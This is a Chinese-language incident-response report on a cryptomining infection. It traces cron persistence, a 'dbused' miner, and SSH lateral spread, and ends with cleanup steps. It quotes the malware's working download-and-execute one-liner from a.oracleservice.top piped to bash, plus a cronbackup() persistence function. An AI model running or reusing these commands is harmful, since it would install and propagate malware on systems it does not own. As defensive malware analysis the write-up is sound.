0x00 概述

本文主要是記錄了一次針對挖礦程式的應急響應處理，從三個部分來解讀此次事件：

事件描述部分，确認是否有挖礦程式。
現場分析部分，講了是如何一步一步殺掉挖礦程式。
程式分析部分，針對挖礦腳本的詳細解讀。殺死競争挖礦程式、程序守護、傳播挖礦。

（本文中會有部分流程忘記截圖了，看官們請見諒。）

0x01 疑惑的使用者

前幾天接到客戶反映，他們有一台伺服器資産存在異常現象，原本配置的crontab定時任務全被修改，使用者重新對crontab進行配置，無法起到效果，瞬間就會被自動清空掉，定時任務的異常行為導緻原本很多的正常業務無法正常運作，同時還發現存在可疑程序，希望能協助進行問題分析，并盡快進行處置。

0x02 受打擊的研究員

研究人員首先分析crontab的問題，使用crontab -l檢視定時任務，發現隻存在一個可疑的任務程序，如下圖所示。

圖 1 定時指令1

從指令看起來是為了擷取http://a.oracleservice.top位址的一個xms檔案，這個可疑的域名看起來利用了oracleservice來迷惑使用者,通過聚銘産品情報雲查，發現這個域名有很大問題。

分别存在：8220miner組織、miner木馬病毒、xms、失陷下載下傳的标簽。

圖 2 聚銘情報雲查結構

與客戶确認該定時任務是可疑的之後，又用top檢視了系統資源，發現了一個程式名稱為“dbused”的可疑程序，長時間的cpu資源占用達到了100以上。

利用可疑的程序PID，從/proc/[PID]目錄下的’exe’檔案定位到源檔案來自于/tmp目錄下的dbused。

将可疑檔案扔到VT進行檢測，發現極可能與“CoinMiner”挖礦木馬相關。

圖 3 VT檢測結果

看來這次攻擊八九不離十就是挖礦木馬相關的攻擊了，定時程式應該就是用來下載下傳挖礦程式的，隻要先把定時程式删除，再删除惡意程式就行了，于是一一删除之，應該就可以交代了。

想法很美好，現實卻很殘忍。幾秒後，發現惡意程序和定時任務全部恢複了，一朝回到解放前，看來是把問題想得太簡單了。

0x03 研究員的反擊

研究員開始痛定思痛，其實在第一次分析的時候還忽略了幾個關鍵的線索：

使用者反映crontab會被自動重新整理（說明存在維持程序）
未檢視系統可疑程序
未分析下載下傳的内容

于是乎，ps -ef檢視系統程序，發現存在五個以上的惡意下載下傳程序，和之前發現的定時任務一模一樣，确實存在多個維持程序。

curl -fsSL http://a.oracleservice.top/xms||wget -q -O- http://a.oracleservice.top/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://a.oracleservice.top/xms").read()')| bash -sh; lwp-download http://a.oracleservice.top/xms /xms; bash /xms; /xms; rm -rf /xms

圖 4 檢視程序

突破口都指向下載下傳的可疑檔案，下載下傳進行分析，分析發現是一個結合資源準備、同類競争、程序維持、橫向擴散、痕迹清除的腳本。

圖 5 下載下傳可疑檔案

Step1：最大化這個程序的使用資源

圖 6 準備工作

1.腳本先将系統的selinux防火牆設定為關閉。

2.腳本将使用者最大可用的程序數調整到5萬，便于最大化占用主機資源。

3.修改記憶體參數，目的也是最大化占用主機資源。

Step2：删除競争程序

圖 7 殺死競争程序

這裡目的是為了關閉一些程序，這裡的關閉程序的行為，目的是為了殺掉其他的一些挖礦程序，隻允許自己的程式挖礦。

檢視列出殺死的連接配接IP情報，基本都是與挖礦或木馬相關。

圖 8 競争程序的連接配接IP1

圖 9 競争程序的連接配接IP2

圖 10 競争程序的連接配接IP3

Step3：删除檔案的特殊屬性使得檔案可以被修改操作

圖 11 chattr修改檔案屬性

chattr指令mod解釋

i：即Immutable，系統不允許對這個檔案進行任何的修改。如果目錄具有這個屬性，那麼任何的程序隻能修改目錄之下的檔案，不允許建立和删除檔案。

a:即Append Only，系統隻允許在這個檔案之後追加資料，不允許任何程序覆寫或截斷這個檔案。如果目錄具有這個屬性，系統将隻允許在這個目錄下建立和修改檔案，而不允許删除任何檔案。

最後将定時任務，進行了類似鎖定操作。

Step4：確定連通性

先解除/tmp/dbused目錄下面的鎖定。

确定本機ip位址的範圍（16位掩碼）。

確定主機能與惡意負載域名pool.supportxmr.com、a.oracleservice.top連通。

圖 12 確定連通性

Step5：建立定時任務

圖 13 建立定時任務

一共建立了5個cron維持程序。

/etc/cron.d/root
/etc/cron.d/apache
/etc/cron.d/nginx
/var/spool/cron/crontabs
/etc/cron.hourly/oanacroner1

圖 14 /etc/cron.d下的定時任務

圖 15 防止檔案被修改

Step6：維持程序1

即確定dbused這個檔案能正常運作。寫了幾個備用的函數，judge函數就是，如果dbused檔案正常運作了，那麼就會存在三個連接配接，如果沒有正常運作，那麼就重新運作一下dbused檔案。

圖 16 judge函數

圖 17 judge函數2

Step7：維持程序2

cronbackup()函數為了確定定時任務的正常運作，一旦其中一個定時任務被删除，就會執行另一個定時任務。

cronbackup() {

pay="(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR"

status=0

crona=$(systemctl is-active cron)

cronb=$(systemctl is-active crond)

cronatd=$(systemctl is-active atd)

if [ "$crona" == "active" ] ; then

echo "cron okay"

elif [ "$cronb" == "active" ]; then

elif [ "$cronatd" == "active" ] ; then

status=1

else

status=2

if [ $status -eq 1 ] ; then

for a in $(at -l|awk '{print $1}'); do at -r $a; done

echo "$pay" | at -m now + 1 minute

if [ $status -eq 2 ] || [ "$me" != "root" ] ;then

arr[0]="/dev/shm"

arr[1]="/tmp"

arr[2]="/var/tmp"

arr[3]="/home/$(whoami)"

arr[4]="/run/user/$(echo $UID)"

arr[5]="/run/user/$(echo $UID)/systemd"

rand=$[$RANDOM % ${#arr[@]}]

echo "Setting up custom backup"

ps auxf|grep -v grep|grep "cruner" | awk '{print $2}'|xargs kill -9

key="while true; do sleep 60 && $pay; done"

echo -e "$key\n##" > ${arr[$rand]}/cruner && chmod 777 ${arr[$rand]}/cruner

nohup ${arr[$rand]}/cruner >/dev/null 2>&1 &

sleep 15

rm -rf ${arr[$rand]}/cruner

}

Step8：橫向傳播

從系統檔案中擷取ssh連接配接過的IP位址和連接配接的密鑰，再通過周遊嘗試ssh連接配接到别的主機并執行惡意指令。也就是說主機登入過其他主機的話，那麼其他主機也會被注入，細思極恐。

ssh連接配接用到的幾個配置

-oStrictHostKeyChecking=no （關閉SSH公鑰檢查，這是ssh一個重要的安全機制，可以防範中間人劫持等黑客攻擊。）
-oBatchMode=yes（當 key 認證不成功時，不彈出告警防止自動化中斷）
-oConnectTimeout=5（逾時限制）
-i（使用密鑰檔案登入）

圖 18 橫向傳播

圖 19 被擷取的部分密鑰檔案

圖 20 可能被感染的其它主機

Step9：痕迹清除

對執行過程中遺留的檔案進行清除，減小被發現的風險。

圖 21 清除痕迹

了解清楚這個惡意腳本後，便開始對該惡意程式進行處置：

先’service crond status’關閉cron服務。
對所有cron定時檔案進行清除。
殺死所有惡意程序。
删除所有下載下傳的相關惡意檔案。
啟動selinux。
修改本機和可能被感染主機的ssh密碼。
對可能感染的主機進行檢查。

采取了以上的操作之後，挖礦程式終于不再“複活”了，crontab也恢複正常使用。

參考文章：

《linux檔案特殊屬性 lsattr,chattr詳解》https://blog.csdn.net/sugarCYF/article/details/108034987

《SSH互動式腳本StrictHostKeyChecking選項》https://chuxing.blog.csdn.net/article/details/82425279

記一次與挖礦木馬的較量

0x00 概述

0x01 疑惑的使用者

0x02 受打擊的研究員

0x03 研究員的反擊